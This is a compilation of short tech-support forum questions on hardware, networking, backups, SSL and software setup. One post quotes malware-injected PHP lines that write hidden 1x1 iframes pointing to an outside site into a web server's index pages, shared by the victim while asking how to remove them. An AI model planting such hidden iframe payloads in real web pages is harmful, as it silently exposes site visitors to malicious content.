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• Looking for a software solution which acts like a hardware KVM

  - by Daisetsu

  I've seen programs like Synergy before which allow a keyboard and mouse to be used across multiple systems. Unfortunately Synergy treats both systems like they are the same thing (when you move the mouse too far to the right it jumps to the other computer, along with keyboard input). I only have 1 monitor so what I need to do here is have a quick way to view my other desktop that is easy to manage. Remote desktop is difficult because you have to take it out of fullscreen, then minimize it and then re-maximize it when you want to use it again. If there were a single button I could hit to switch to the other computer that would be optimal. Both computers are on the same lan.

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• Graphics card failure, anything I could try...

  - by ILMV

  My gaming PC has decided to die, it's not the first time but usually a quick ATX reset brings it back to life. Today it didn't. I disconnect all unessasary devices so I've only got the case button / LED cables, GPU, CPU, RAM and power connected, the computer still didn't turn on. I've not got a speaker on my motherboard so found a spare one I have for testing and when the machine starts up I get one long beep and two short beeps from my Award BIOS, which apparently means a video card error. I change it with the GPU from another machine and all works well. Q: So I have a faulty graphics card (an nVidia 8800GT OC), is there anything I can try to resurect it?

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• Find the product key I entered for MS Office on Mac

  - by Rick Reynolds

  I have several legal license keys for Office:mac 2008. I want to do a quick audit of the two machines I've installed office on and verify which license keys are being used where. But I don't see the license key anywhere on the about dialog (or elsewhere). I've seen other postings on the 'net directing me to look at various .plist files, but those only give me the "Product ID" which is different from the license key (which MS calls the "Product Key" on the little sticker). Is there a way outside of calling MS to correlate the Product Key (which is required for installation and is the real license key) to the Product ID I see in the app itself?

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• Can a faulty DNS record prevent networking?

  - by Bob

  My server's network interfaces are not available anymore since yesterday evening. I didn't change anything, but I added a new DNS-record shortly before. Unfortunately, the web interface I used to add this DNS record escaped some characters, so I've got a faulty DNS record: example.com 86400 IN TXT "\"v=spf1 mx a -all\"" However, this is the only unusual thing I could notice about this. Is it possible that the \-characters in my DNS record are confusing for some routers? Or could it be the system itself which is confused by this (it's a Debian Lenny system). Unfortunately, I can't quick-test it because of the long TTL of the record.

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• Want to install OS from USB instead of CD : How to deal with *.img image files?

  - by claws

  I'm on windows. I'm trying DragonflyBSD operating system. as you can see here: http://www.dragonflybsd.org/download/ there are two kinds of images CD (.iso) and USB (.img) files available for download. I downloaded *.iso and using UNetbootin to make a bootable USB stick. But its taking hell lot of time. Its been 2 hours and its just 50% done(9k of 18k files). I'm really pissed off now! I used *.iso because I didn't know how to deal with *.img files. Will it be quick *.img file? How to use it to make bootable USB?

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• What do I need for SSL?

  - by Ency

  Hi guys, just a quick question, I'm kind of confused. I've had set-up my own certification authority and I can create requests and signed them. But, I'm not sure, what I need to give to Apache, currently I've got: CA Private key CA Certificate Website Private key Website Certificate Website Certificate Request (I think I do not need it, but just to be clear) Until today I was using snakeoil certificate, but I've decided to have more SSL services, than CA looks as good solution, so my Apache was configured well, but now I am not sure what I shall provide to apache in following rules: SSLCertificateKeyFile /path/to/Website Private Key SSLCertificateFile /path/to/CA Certificate But than I got [Mon Dec 27 12:09:33 2010] [warn] RSA server certificate CommonName (CN) `EServer' does NOT match server name!? [Mon Dec 27 12:09:33 2010] [error] Unable to configure RSA server private key [Mon Dec 27 12:09:33 2010] [error] SSL Library Error: 185073780 error:0B080074:x509 certificate routines:X509_check_private_key:key values mismatch Something tells me than the warning is quite weird, because "EServer" is a common name of CA, so I think I shall not use CA Certificate in SSLCertificateFile, shall I? Do I need to create Certificate from Website private key or something else?

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• What files should be excluded from a complete Windows backup?

  - by tro

  I'm starting to use CrashPlan to backup my Win 7 PC. I've got it writing to my external HD (for quick local restores) and to CrashPlan Central (for offsite storage). I'd like to backup my entire C:\ drive (the only partition) in a way that: Preserves all of my installed software and configuration, but Avoids backing up log files and other ephemeral / temporary files that are regenerated during normal operation of the OS. Which files and/or directories should I be excluding from backups? I'd like to make this a community wiki, so that we could all contribute towards a definitive list. Here's a list of regular expressions identifying the directories and files that CrashPlan excludes on Windows by default listed at http://support.crashplan.com/doku.php/articles/admin_excludes: .*/(?:42|\d{8,})/(?:cp|~).* (?i).*/CrashPlan.*/(?:cache|log|conf|manifest|upgrade)/.* .*\.part .*/iPhoto Library/iPod Photo Cache/.* .*\.cprestoretmp.* *\.rbf :/Config\\.Msi.* .*/Google/Chrome/.*cache.* .*/Mozilla/Firefox/.*cache.* .*\$RECYCLE\.BIN/.* .*/System Volume Information/.* .*/RECYCLER/.* .*/I386.* .*/pagefile.sys .*/MSOCache.* .*UsrClass\.dat\.LOG .*UsrClass\.dat .*/Temporary Internet Files/.* (?i).*/ntuser.dat.* .*/Local Settings/Temp.* .*/AppData/Local/Temp.* .*/AppData/Temp.* .*/Windows/Temp.* (?i).*/Microsoft.*/Windows/.*\.log .*/Microsoft.*/Windows/Cookies.* .*/Microsoft.*/RecoveryStore.* (?i).:/Config\\.Msi.* (?i).*\\.rbf .*/Windows/Installer.* Other excludes: .*\.(class|obj) .*/hiberfil.sys (?i).*\.tmp (?i).*/temp/ (?i).*/tmp/ .*Thumbs\.db .*/Local Settings/History/ .*/NetHood/ .*/PrintHood/ .*/Cookies/ .*/Recent/ .*/SendTo/

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• How do I get VDPAU working with Ubuntu 9.10?

  - by Brad Robertson

  What do I need to do to get MKV HD videos playing with VDPAU and also Blu-ray discs? Lots of people say you need to compile the latest MPlayer (which I haven't had luck doing) for VDPAU. I found an mplayer ppa that says it has VDPAU compiled into it so I'd like to use that. What packages do I need for playing MKV files and Blu-ray with the video decoding offloaded to my GPU? So far I haven't had any luck with any of the tutorials I've found. I'm just looking for a quick synopsis that will tell me what I'm looking for as I'm kind of shooting in the dark. (I didn't know what VDPAU was until a few days ago.)

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• Problem in installing & configuring bugzilla

  - by VIVEK

  Can somebody help me in installing bugzilla (list out exact steps if possible) on Windows Server 2008 with IIS 7.0 , Mysql 5.1 & existing email server(already configured)? I followed installation steps from many posts & also your site , everything goes right but when I start to creating accounts by sending email in bugzilla web panel, I get error:- “There was an error sending mail from 'bugzilla-daemon@' to '[email protected]':Can't call method "address" on an undefined value at C:/Program Files (x86)/Bugzilla/perl/perl/site/lib/Email/Send/SMTP.pm line 25.” I also tried installing through Windows installer, but same issues. Please any help would be appreciated. Expecting quick response.

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• Verify server performance

  - by George Kesler

  I'm looking for a quick and SIMPLE way to verify that new servers are performing as expected. The most important metric is disk performance, second is network performance. I’m trying to prevent problems caused by misconfiguration of RAID arrays, NIC teaming etc. The solution should work with both physical and virtual servers. I don’t need sophisticated analysis with different workloads, just one set of benchmarks which I would run against a reference server and later compare to new ones. One problem is that most benchmarks are not giving accurate results when running on a VM.

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• Why do browsers have so many possible exploits?

  - by Beau Martínez

  When browsing I am ocassionally given warnings about pages that host malware "that could damage my computer". I am seriously perplexed as to why, in 2010, browsers still have possible exploits and can be cracked. My question is "Why?". I'm assuming it's because of the quick development that occured in the browser wars which were unsufficiently tested, but I'm unsure. Surely WebKit would have patched all the issues in KHTML, or Gecko sorted out the flaws in Netscape's engine, and the IE coders sorted through their codebase to eliminate possible flaws? (Somewhat related: http://superuser.com/questions/117770/which-browser-is-the-most-secure-research-and-practically-based.)

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• Getting packets from one port to another on a Dell PowerConnect 2824 switch

  - by Arvo Bowen

  I have a dell PowerConnect 2824 and I have a cat 5 cable connected from port 1 to port 23. Port 1 is reserved for VLAN 1 (the only VLAN that can manage the switch) and port 18-23 belong to VLAN 112. I currently have the switch setup with ip 10.71.3.5/27 and a test machine plugged into port 22 with IP address 10.71.3.30/27. For some reason I can not ping 10.71.3.5 from my test machine (10.71.3.30). Note: When I try to ping the server plugged into port 21 (IP: 10.71.3.7/27) also VLAN 112, I get responses just fine. Note: When I plug my test machine directly into port 1, I can ping 10.71.3.5 just fine. Quick Recap: Switch IP: 10.71.3.5 Port 1 - dedicated to management - (VLAN1) Port 21 - SERVER (10.71.3.7/27) - (VLAN112) Port 22 - test machine (10.71.3.30/27) - (VLAN112) Port 23 - dedicated to management (to hop over to VLAN 1 from VLAN 112) - (VLAN112)

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• How best to backup 6x Win2k3 Servers

  - by saille

  We have a external HP LTO3 tape drive. It needs to backup 6 Windows 2003 machines every night. Servers are HP DL380 G3 and the tape drive is attached locally to one of them via SCSI. On a budget of $0, and a goal of keeping-it-simple, what is going to be the best way to backup these machines? What software to use? NT Backup? Or does HP have something better for free? We don't need image backups - file system + system state will be adequate. Do we need to copy the files to be backed up onto the machine with the tape drive attached? Edit: Let me ask a more focussed question: Would you use NT Backup or something else? No soap boxing please, we've after some quick advice from someone who's used a similar setup.

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• Virtual DNS recommended setup...

  - by luison

  Hi. We are new to virtualization which we are setting up with Proxmox VE (OpenVZ + KVM). I am a bit lost about the recommended DNS forwarder config specially in the OpenVZ (Virtuosso type) of enviroiment. Our intention was to have a small dnsmasq running in one of the VM acting as backup DHCP server and serving our in-office local addresses (and PCs) by an additional resolve.conf file which dnsmasq supports, but I've read that all VM should share DNS pointing to the host machine in which case it would make more sense having it there. My problem is that I would like to have as least as possible apps in the host so a reinstall of the environment (porxmox ve) and a machine restore can be as quick as possible. Does anyone have a similar setup? Does it make sense to have the 1st virtual machine running the local dns forwarder? Also... dnsmasq seems to want to have root permissions when running on an OpenVZ container... are there any work arrounds anyone knows for that.

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• Search for index.php and index.html and replace string

  - by Jonas

  Hello. I recently had some sort of Malware on my computer that added to all index.php and index.html ON THE WEBSERVER! the following string(s): echo "<iframe src=\"http://fabujob.com/?click=AD4A4\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>"; echo "<iframe src=\"http://fabujob.com/?click=AC785\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>"; So the parameter after "click=" always changes. These two were only examples. Is there a way to do that quick and fast? . . EDIT: It is on my webserver, so no use of find...

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• Best way to Duplicate a Laptop's Hard Drive One-to-One

  - by Urda

  I have a Lenovo X61 Tablet computer, with a plain SATA drive inside. I have windows 7 and Ubuntu 9.10 dual booting on the computer. I want to back up both of these OS's, and their special partitions (Windows 7 has one, and of course the Linux Swap). I want a one-to-one backup, all of my mission critical data is already backed up, but I would like to get a snapshot, and store it on a larger file server at home for quick recovery. What is the best approach to do this?

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• Suspended Laptop Cannot Wake Up - Ubuntu

  - by Zack

  I've got an ASUS G73JH, and whenever I suspend it or hibernate it, it will not wake up. The screen stays backlight but is black. I can't: Awaken it with the keyboard Awaken it with the mouse Soft power-off by pressing the power button I have to hold down the power button and shut it down that way, and this seems a little unreasonable. Is there a place I could look for more detail as to what's causing this? Is there a known quick-fix to this issue?

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• SharePoint 2010 Search - not search additional content sources

  - by Chris W

  I've got SP 2010 crawling a secondary intranet system that we'll run in parallel as part of a long running migration to SharePoint when it releases. Whilst it's crawling the pages without problem I can't see how to get the results to appear as part of the Quick Search results if the user does a search from the little search dialog box on the home page. Searches completed within a My Sites pages lists results from port the SharePoint installation and the external content source. Searches from the main search dialog only list results of SharePoint items. I tried adding the drop down option to select the site to search but this list only includes the name of the current site and doesn't offer an 'All Sites' scope option which I think would include the content. What am I doing wrong?

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• Overcrowded Windows XP Folders

  - by BlairHippo

  I know that, technically, an individual Windows XP directory can hold an immense number of files (over 4.29 billion, according to a quick Google search). However, is there a practical ceiling where too many files in one directory starts having an impact on reads to those files? If so, what factors would exacerbate or help the issue? I ask because my employer has several hundred XP machines in the field at client sites, and the performance on some of the older ones is getting "sludgy." The machines download and display client-defined images, and my supervisor and I suspect that our slacktastic approach to cache management could be to blame. (Some of the directories have tens of thousands of images in them.) I'm trying to gather evidence to support or contest the theory before spending time on a coding fix.

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• Outlook 2007 - Monospace/preformatted quickstyle

  - by joelarson

  In Outlook 2003 I could set a block of text as preformatted, which was mighty handing for emailing code snippets. This prevented line wrapping, and specified that a monospace font be used in whatever email client recieved my email. Now in Outlook 2007, there are at least three problems: 'Plain Text' style (apparently the closest thing to 'preformatted' as a style) is buried beneath about five clicks, and adding it to the quick style gallery and saving the gallery seems to be forgotten (bug?) It uses some fancy Microsoft font 'Consolas' that is not on some of my coworkers machines that use thunderbird It does not appear that there is any way to get it flagged as a monospace font so that other email clients will display it properly. Does anybody know how to quickly set text to 'preformatted' as Outlook 2003, meaning A) use a monospace font B) flag it as monospace for other clients C) avoid hard line breaks?

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• Dismissing systray balloons with the keyboard?

  - by rangerchris

  This is probably a supplementary question to how to access the systray using the keyboard... I've read that, and done some googling (google fu lacking, or there really is no answer), but I can't find a nice quick keyboard shortcut to dismiss those info balloons that apps in the system tray choose to display every now and then. The hints for access in the linked question can't be used to close the balloon (and least when I've tried them here). Now I know I can wait for a timeout and they'll go away but if I can just hit , that'd be fanstastic. So... anyone aware of a keyboard shortcut?

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• Dump output from REPL

  - by Ankit Soni

  I'm writing SML programs, and I'd like a way to quickly see the output from running a program in the REPL without actually running the REPL (to quickly see if a program has syntax errors - I plan to use this as a make program for .sml files in vim to view the output inside vim).. Currently, I have this: sml file.sml | echo -e "\004" So it runs the program, and then echoes Ctrl-D to exit the REPL. The problem is that its too quick to send the Ctrl-D key, so there is no output. I tried this too: sml file.sml | sleep 2 ; echo -e "\004" But that isn't doing it either. Any ideas on how I can get a dump of the output from the REPL?

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• Can't access a partion that has a virus on it

  - by vaccano

  My wife's computer had a virus alarm go off, so I am looking into it. The virus is supposed to be on the D: drive. I wanted to talk a quick look at the file, but I cannot not. It has one file that I can get to. It is D:\Recovery. That shows a "Protected by PC Angel" graphic. How can I get past this? Should I do it? Is the virus scanner wrong? (I am using Avast).

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• MySQL Stored Procedure Parameters are NULL

  - by emmilely

  I am stumped, and was hoping someone here would have a quick and easy answer. I did a fresh install of MySQL 5.5 and am trying to pass parameters into a stored procedure. The parameter values aren't being read by the stored procedure. MySQL doesn't throw an error and processes the code with null parameters. Here is the code: DELIMITER $$ CREATE DEFINER=`root`@`%` PROCEDURE `testing`(IN parameter INTEGER) BEGIN UPDATE table_name SET valueToChange = 'Test' WHERE mainID = @parameter; END And here is the query I'm using to call it: USE database_name; CALL testing(72); Can anyone help?

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• How to remove the smell of cigarette from the computer?

  - by Tio

  So I'm a smoker, and of course I smoke in front of the computer when I'm at home. On last Friday I moved out from my mothers house to my own, and since the computers were always turned on and the room was a room that everybody could smoke, the smell didn't bother me. At my new home, I turned them on, about 15 minutes ago, and I'm dying because of the smell of cigarette ( this may be kind of stupid from a smoker, but I hope some of you understand ). This solution has to be relatively quick, because I can't stay without the desktop and the server for one week, for example. Tomorrow, I'm going to open them both, and remove all dust there is inside, this should clear some of the smell, but probably won't remove it completely. Does anyone know a technique to get rid of the smell?

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